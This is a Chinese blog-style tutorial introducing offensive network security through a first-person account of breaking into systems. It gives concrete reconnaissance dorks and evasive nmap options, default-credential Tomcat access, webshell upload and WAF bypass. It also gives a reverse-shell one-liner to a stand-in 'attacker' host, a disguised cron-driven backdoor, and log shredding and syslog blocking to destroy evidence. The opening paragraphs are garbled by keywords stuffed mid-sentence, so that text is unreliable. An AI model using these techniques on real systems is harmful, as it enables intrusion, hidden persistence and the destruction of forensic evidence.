网络攻防基础入门

凌晨两点，网络我盯着屏幕上的攻防终端窗口，心跳声比键盘敲击声还响。基础那台目标服务器——一台配置薄弱的入门旧路由器——终于弹出了root提示符。没有花哨的网络动画，没有黑客帝国式的攻防代码雨，只有一行简单的基础`#`。那一刻我意识到，入门网络攻防的网络本质，是攻防信息不对等的博弈，而入门的基础关键，不是入门工具，是网络思维。

先别急着装Kali Linux。攻防你得明白攻击链的基础完整闭环：侦察、扫描、利用、维持、清理。侦察阶段，Google和Shodan就是你的眼睛。比如用`site:target.com filetype:conf`找配置文件，或者用Shodan搜“default password”能直接命中大量暴露的摄像头。我见过一个新手，上来就用nmap全端口扫描，结果被对方防火墙秒封IP——侦察没做透，等于裸奔。

扫描要讲究节奏。`nmap -sS -T4 -p-`这种全速扫描，适合测试自己的靶机，真打目标会死得很难看。现实里更常用的是`-T2`慢速扫，配合`--source-port 53`伪装DNS流量。端口摸清了，服务版本拿到了，下一步才是漏洞利用。这里有个残酷的现实：公开的CVE大多被厂商修补了，真正有效的要么是0day，要么是配置错误。所以别迷信Metasploit的`exploit/multi/handler`，多花时间读官方文档，看默认配置。

举个真实例子。去年我参与一次授权测试，目标是个政府门户站。扫描发现8080端口开了Tomcat，版本9.0.30——有已知的CVE-2020-1938（幽灵猫）。但直接打过去，对方patch了。后来我改用`curl`查看报错页，发现管理界面路径是`/manager/html`，而默认账号`tomcat:tomcat`居然还能登录。你看，漏洞不只在代码里，更在运维习惯中。利用成功后，我上传了个JSP webshell，但马上被安全狗拦截。绕WAF的方法很多，最简单的就是分块传输或编码混淆，那次我用的是`%u0069`这种畸形Unicode编码，直接绕过了关键词过滤。

维持权限比拿权限难十倍。反弹shell用`bash -i >& /dev/tcp/attacker/4444 0>&1`这种老套路，早被监控了。试试DNS隧道，或者用HTTP反向代理。我习惯留个后门在`/tmp/.ICE-unix/`目录下，文件名伪装成`syslogd.pid`，配合cron任务每五分钟重连。别用`msfvenom`生成的默认payload，特征太明显。自己写个简单的Python反弹脚本，用`ssl`包裹，流量看起来就是HTTPS。

清理痕迹是最容易忽略的环节。`history -c`不够，要删`.bash_history`文件本身，还要改`/var/log/secure`里的登录记录。更狠的做法是直接`shred -z`覆盖日志文件。但记住，日志服务器如果远程同步，你删本地没用。所以攻击前先看日志存储位置，必要时用`iptables`阻断syslog外传。

入门者最大的误区是只学攻击不学防御。你至少要会看`tcpdump`抓的包，能分辨正常流量和反向shell的特征——比如固定间隔的小包，或者`POST`请求里藏着Base64编码。我见过一个朋友，攻破靶机后得意忘形，结果自己电脑被种了木马，因为他在测试时下载了个捆绑了恶意程序的“破解版工具”。工具干净比工具强大更重要。

最后说句掏心窝的话：别拿真实系统练手。去搭建自己的靶场，用VirtualBox跑几个Metasploitable或Vulnhub的镜像。我花了三个月才搞懂如何通过SQL注入拿到`wp_options`表里的`admin`密码哈希，然后用John the Ripper跑字典——那感觉比打游戏爽十倍。网络攻防不是电影里那样“滴”一声就入侵成功，它是一场耐心的猫鼠游戏，而你需要的，是持续的好奇心和一份随时可能被对手反制的警觉。